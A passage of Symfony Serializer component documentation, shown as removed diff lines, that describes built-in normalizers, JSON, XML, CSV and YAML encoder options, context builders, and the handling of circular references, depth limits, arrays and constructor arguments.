-:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    This normalizer converts a \BackedEnum objects into strings or integers.
-
-    By default, an exception is thrown when data is not a valid backed enumeration. If you
-    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
-
-    .. versionadded:: 6.3
-
-        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-    This normalizer works with classes that implement
-    :class:`Symfony\\Component\\Form\\FormInterface`.
-
-    It will get errors from the form and normalize them into a normalized array.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
-    into a list of errors according to the `RFC 7807`_ standard.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-    Normalizes errors according to the API Problem spec `RFC 7807`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
-    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extend
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
-    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
-    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
-    You can change the string format by setting the serializer context option
-    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
-    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
-
-    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
-    translated strings, using the
-    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
-    method. You can define the locale to use to translate the object by
-    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
-    context option.
-
-    .. versionadded:: 6.4
-
-        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-        was introduced in Symfony 6.4.
-
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
-
-Certain normalizers are enabled by default when using the Serializer component
-in a Symfony application, additional ones can be enabled by tagging them with
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
-
-Here is an example of how to enable the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
-        >
-            <services>
-                <!-- ... -->
-
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->services()
-                // ...
-                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                    ->tag('serializer.normalizer')
-            ;
-        };
-
-.. _component-serializer-encoders:
-
-Encoders
---------
-
-Encoders turn **arrays** into **formats** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface`
-for encoding (array to format) and
-:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding
-(format to array).
-
-You can add new encoders to a Serializer instance by using its second constructor argument::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $serializer = new Serializer([], $encoders);
-
-Built-in Encoders
-~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in encoders:
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-    This class encodes and decodes data in `JSON`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-    This class encodes and decodes data in `XML`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-    This encoder encodes and decodes data in `YAML`_. This encoder requires the
-    :doc:`Yaml Component </components/yaml>`.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-    This encoder encodes and decodes data in `CSV`_.
-
-.. note::
-
-    You can also create your own Encoder to use another structure. Read more at
-    :doc:`/serializer/custom_encoders`.
-
-All these encoders are enabled by default when using the Serializer component
-in a Symfony application.
-
-The ``JsonEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
-:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be
-useful to modify how these functions operate in certain instances by providing
-options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization
-context to pass in these options using the key ``json_encode_options`` or
-``json_decode_options`` respectively::
-
-    $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
-
-These are the options available:
-
-===============================  =========================================================================================================== ================================
-Option                           Description                                                                                                 Default
-===============================  ==========================================================================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
-===============================  ==========================================================================================================  ================================
-
-.. versionadded:: 6.4
-
-    The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4.
-
-The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~
-
-The ``CsvEncoder`` encodes to and decodes from CSV.
-
-The ``CsvEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-======================= =====================================================  ==========================
-Option                  Description                                            Default
-======================= =====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
-                        character only)
-``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
-                        line in the CSV file
-``csv_escape_char``     Sets the escape character (at most one character)      empty string
-``csv_key_separator``   Sets the separator for array's keys during its         ``.``
-                        flattening
-``csv_headers``         Sets the order of the header and data columns
-                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
-                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
-                        then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
-                        with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only   ``true``
-                        one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
-                        ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
-======================= =====================================================  ==========================
-
-The ``XmlEncoder``
-~~~~~~~~~~~~~~~~~~
-
-This encoder transforms arrays into XML and vice versa.
-
-For example, take an object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` will encode this object like that:
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The special ``#`` key can be used to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">
-    //        baz
-    //     </foo>
-    // </response>
-
-Furthermore, keys beginning with ``@`` will be considered attributes, and
-the key  ``#comment`` can be used for encoding XML comments::
-
-    $encoder = new XmlEncoder();
-    $encoder->encode([
-        'foo' => ['@bar' => 'value'],
-        'qux' => ['#comment' => 'A comment'],
-    ], 'xml');
-    // will return:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    //     <qux><!-- A comment --!><qux>
-    // </response>
-
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
-.. note::
-
-    You may need to add some attributes on the root node::
-
-        $encoder = new XmlEncoder();
-        $encoder->encode([
-            '@attribute1' => 'foo',
-            '@attribute2' => 'bar',
-            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
-        ], 'xml');
-
-        // will return:
-        // <?xml version="1.0"?>
-        // <response attribute1="foo" attribute2="bar">
-        // <foo bar="value">baz</foo>
-        // </response>
-
-.. tip::
-
-    XML comments are ignored by default when decoding contents, but this
-    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
-
-    Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
-    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
-    directly to the ``$context`` argument of the ``encode()`` method::
-
-        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
-
-The ``XmlEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-==============================  =================================================  ==========================
-Option                          Description                                        Default
-==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with     ``false``
-                                line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.0``
-``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
-``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
-                                type casting
-``xml_root_node_name``          Sets the root node name                            ``response``
-``as_collection``               Always returns results as a collection, even if    ``false``
-                                only one line is decoded
-``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-                                to be ignored while decoding
-``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
-                                to be ignored while encoding
-``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
-``save_options``                XML saving `options with libxml`_                  ``0``
-``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
-                                generated XML
-``cdata_wrapping``              If set to false, will not wrap any value           ``true``
-                                containing one of the following characters (
-                                ``<``, ``>``, ``&``) in `a CDATA section`_ like
-                                following: ``<![CDATA[...]]>``
-==============================  =================================================  ==========================
-
-.. versionadded:: 6.4
-
-    The `cdata_wrapping` option was introduced in Symfony 6.4.
-
-Example with custom ``context``::
-
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-
-    // create encoder with specified options as new default settings
-    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
-
-    $data = [
-        'id' => 'IDHNQIItNyQ',
-        'date' => '2019-10-24',
-    ];
-
-    // encode with default context
-    $xmlEncoder->encode($data, 'xml');
-    // outputs:
-    // <?xml version="1.0"?>
-    // <response>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </response>
-
-    // encode with modified context
-    $xmlEncoder->encode($data, 'xml', [
-        'xml_root_node_name' => 'track',
-        'encoder_ignored_node_types' => [
-            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
-        ],
-    ]);
-    // outputs:
-    // <track>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </track>
-
-The ``YamlEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-This encoder requires the :doc:`Yaml Component </components/yaml>` and
-transforms from and to Yaml.
-
-The ``YamlEncoder`` Context Options
-...................................
-
-The ``encode()`` method, like other encoder, uses ``context`` to set
-configuration options for the YamlEncoder an associative array::
-
-    $yamlEncoder->encode($array, 'yaml', $context);
-
-These are the options available:
-
-=============== ========================================================  ==========================
-Option          Description                                               Default
-=============== ========================================================  ==========================
-``yaml_inline`` The level where you switch to inline YAML                 ``0``
-``yaml_indent`` The level of indentation (used internally)                ``0``
-``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
-                to customize the encoding / decoding YAML string
-=============== ========================================================  ==========================
-
-.. _component-serializer-context-builders:
-
-Context Builders
-----------------
-
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
-you can use "context builders" to define the context using a fluent interface::
-
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
-
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
-
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
-
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
-
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
-
-.. versionadded:: 6.1
-
-    Context builders were introduced in Symfony 6.1.
-
-.. note::
-
-    The Serializer component provides a context builder
-    for each :ref:`normalizer <component-serializer-normalizers>`
-    and :ref:`encoder <component-serializer-encoders>`.
-
-    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
-    to deal with your context values.
-
-Skipping ``null`` Values
-------------------------
-
-By default, the Serializer will preserve properties containing a ``null`` value.
-You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
-to ``true``::
-
-    $dummy = new class {
-        public ?string $foo = null;
-        public string $bar = 'notNull';
-    };
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
-    // ['bar' => 'notNull']
-
-Require all Properties
-----------------------
-
-By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
-to ``true``::
-
-    class Dummy
-    {
-        public function __construct(
-            public string $foo,
-            public ?string $bar,
-        ) {
-        }
-    }
-
-    $data = ['foo' => 'notNull'];
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
-    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
-
-.. versionadded:: 6.3
-
-    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
-    was introduced in Symfony 6.3.
-
-Skipping Uninitialized Properties
----------------------------------
-
-In PHP, typed properties have an ``uninitialized`` state which is different
-from the default ``null`` of untyped properties. When you try to access a typed
-property before giving it an explicit value, you get an error.
-
-To avoid the Serializer throwing an error when serializing or normalizing an
-object with uninitialized properties, by default the object normalizer catches
-these errors and ignores such properties.
-
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
-context option to ``false``::
-
-    class Dummy {
-        public string $foo = 'initialized';
-        public string $bar; // uninitialized
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
-    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
-
-.. note::
-
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
-    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
-    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
-    properties as the normalizer cannot read them (directly or via getter/isser methods).
-
-.. _component-serializer-handling-circular-references:
-
-Collecting Type Errors While Denormalizing
-------------------------------------------
-
-When denormalizing a payload to an object with typed properties, you'll get an
-exception if the payload contains properties that don't have the same type as
-the object.
-
-In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
-collect all exceptions at once, and to get the object partially denormalized::
-
-    try {
-        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
-            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
-        ]);
-    } catch (PartialDenormalizationException $e) {
-        $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException $exception */
-        foreach ($e->getErrors() as $exception) {
-            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
-            $parameters = [];
-            if ($exception->canUseMessageForUser()) {
-                $parameters['hint'] = $exception->getMessage();
-            }
-            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        }
-
-        return $this->json($violations, 400);
-    }
-
-Handling Circular References
-----------------------------
-
-Circular references are common when dealing with entity relations::
-
-    class Organization
-    {
-        private string $name;
-        private array $members;
-
-        public function setName($name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setMembers(array $members): void
-        {
-            $this->members = $members;
-        }
-
-        public function getMembers(): array
-        {
-            return $this->members;
-        }
-    }
-
-    class Member
-    {
-        private string $name;
-        private Organization $organization;
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setOrganization(Organization $organization): void
-        {
-            $this->organization = $organization;
-        }
-
-        public function getOrganization(): Organization
-        {
-            return $this->organization;
-        }
-    }
-
-To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
-when such a case is encountered::
-
-    $member = new Member();
-    $member->setName('Kévin');
-
-    $organization = new Organization();
-    $organization->setName('Les-Tilleuls.coop');
-    $organization->setMembers([$member]);
-
-    $member->setOrganization($organization);
-
-    echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException
-
-The key ``circular_reference_limit`` in the default context sets the number of
-times it will serialize the same object before considering it a circular
-reference. The default value is ``1``.
-
-Instead of throwing an exception, circular references can also be handled
-by custom callables. This is especially useful when serializing entities
-having unique identifiers::
-
-    $encoder = new JsonEncoder();
-    $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
-            return $object->getName();
-        },
-    ];
-    $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    var_dump($serializer->serialize($org, 'json'));
-    // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
-
-.. _serializer_handling-serialization-depth:
-
-Handling Serialization Depth
-----------------------------
-
-The Serializer component is able to detect and limit the serialization depth.
-It is especially useful when serializing large trees. Assume the following data
-structure::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        /**
-         * @var self
-         */
-        public MyObj $child;
-    }
-
-    $level1 = new MyObj();
-    $level1->foo = 'level1';
-
-    $level2 = new MyObj();
-    $level2->foo = 'level2';
-    $level1->child = $level2;
-
-    $level3 = new MyObj();
-    $level3->foo = 'level3';
-    $level2->child = $level3;
-
-The serializer can be configured to set a maximum depth for a given property.
-Here, we set it to 2 for the ``$child`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            #[MaxDepth(2)]
-            public MyObj $child;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                child:
-                    max_depth: 2
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="child" max-depth="2"/>
-            </class>
-        </serializer>
-
-The metadata loader corresponding to the chosen format must be configured in
-order to use this feature. It is done automatically when using the Serializer component
-in a Symfony application. When using the standalone component, refer to
-:ref:`the groups documentation <component-serializer-attributes-groups>` to
-learn how to do that.
-
-The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context
-is set to ``true``. In the following example, the third level is not serialized
-because it is deeper than the configured maximum depth of 2::
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'foo' => 'level1',
-        'child' => [
-            'foo' => 'level2',
-            'child' => [
-                'child' => null,
-            ],
-        ],
-    ];
-    */
-
-Instead of throwing an exception, a custom callable can be executed when the
-maximum depth is reached. This is especially useful when serializing entities
-having unique identifiers::
-
-    use Symfony\Component\Serializer\Annotation\MaxDepth;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class Foo
-    {
-        public int $id;
-
-        #[MaxDepth(1)]
-        public MyObj $child;
-    }
-
-    $level1 = new Foo();
-    $level1->id = 1;
-
-    $level2 = new Foo();
-    $level2->id = 2;
-    $level1->child = $level2;
-
-    $level3 = new Foo();
-    $level3->id = 3;
-    $level2->child = $level3;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
-        return '/foos/'.$innerObject->id;
-    };
-
-    $defaultContext = [
-        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
-    ];
-    $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer]);
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'id' => 1,
-        'child' => [
-            'id' => 2,
-            'child' => '/foos/3',
-        ],
-    ];
-    */
-
-Handling Arrays
----------------
-
-The Serializer component is capable of handling arrays of objects as well.
-Serializing arrays works just like serializing a single object::
-
-    use Acme\Person;
-
-    $person1 = new Person();
-    $person1->setName('foo');
-    $person1->setAge(99);
-    $person1->setSportsman(false);
-
-    $person2 = new Person();
-    $person2->setName('bar');
-    $person2->setAge(33);
-    $person2->setSportsman(true);
-
-    $persons = [$person1, $person2];
-    $data = $serializer->serialize($persons, 'json');
-
-    // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}]
-
-If you want to deserialize such a structure, you need to add the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-to the set of normalizers. By appending ``[]`` to the type parameter of the
-:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method,
-you indicate that you're expecting an array instead of a single object::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $serializer = new Serializer(
-        [new GetSetMethodNormalizer(), new ArrayDenormalizer()],
-        [new JsonEncoder()]
-    );
-
-    $data = ...; // The serialized data from the previous example
-    $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
-
-Handling Constructor Arguments
-------------------------------
-
-If the class constructor defines arguments, as usually happens with
-`Value Objects`_, the serializer won't be able to create the object if some
-arguments are missing. In those cases, use the ``default_constructor_arguments``
-context option::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class MyObj
-    {
-        public function __construct(
-            private string $foo,
-            private string $bar,
-        ) {
-        }
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(
-        ['foo' => 'Hello'],
-        'MyObj',
-        null,
-        [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
-            'MyObj' => ['foo' => '', 'bar' => ''],
-        ]]
-    );
-    // $data = new MyObj('Hello', '');
-
-Recursive Denormalization and Type Safety
------------------------------------------
-
-The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize
-complex types (objects). The type of the class' property will be guessed using the provided
-extractor and used to recursively denormalize the inner data.
-
-When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors.
-When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`,
-(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th
-parameter of the ``ObjectNormalizer``::
-
-    namespace Acme;
-
-    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class ObjectOuter
-    {
-        private ObjectInner $inner;
-        private \DateTimeInterface $date;
-
-        public function getInner(): ObjectInner
-        {
-            return $this->inner;
-        }
-
-        public function setInner(ObjectInner $inner): void
-        {
-            $this->inner = $inner;
-        }
-
-        public function getDate(): \DateTimeInterface
-        {
-            return $this->date;
-        }
-
-        public function setDate(\DateTimeInterface $date): void
-        {
-            $this->date = $date;
-        }
-    }
-
-    class ObjectInner
-    {
-        public string $foo;
-        public string $bar;
-    }
-
-    $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
-    $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]);
-
-    $obj = $serializer->denormalize(
-        ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'],
-        'Acme\ObjectOuter'
-    );
-
-    dump($obj->getInner()->foo); // 'foo'
-    dump($obj->getInner()->bar); // 'bar'
-    dump($obj->getDate()->format('Y-m-d')); // '1988-01-21'
-
-When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize
-matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but
-the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
-will be thrown. The type enforcement of the properties can be disabled by setting
-the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
-to ``true``.
-
-.. _serializer_interfaces-and-abstract-classes:
-
-Serializing Interfaces and Abstract Classes
--------------------------------------------
-
-When dealing with objects that are fairly similar or share properties, you may
-use interfaces or abstract classes. The Serializer component allows you to
-serialize and deserialize these objects using a *"discriminator class mapping"*.
-
-The discriminator is the field (in the serialized string) used to differentiate
-between the possible objects. In practice, when using the Serializer component,
-pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface`
-implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`.
-
-The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface``
-called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata`
-which uses the class metadata factory and a mapping configuration to serialize
-and deserialize objects of the correct class.
-
-When using this component inside a Symfony application and the class metadata factory is enabled
-as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping;
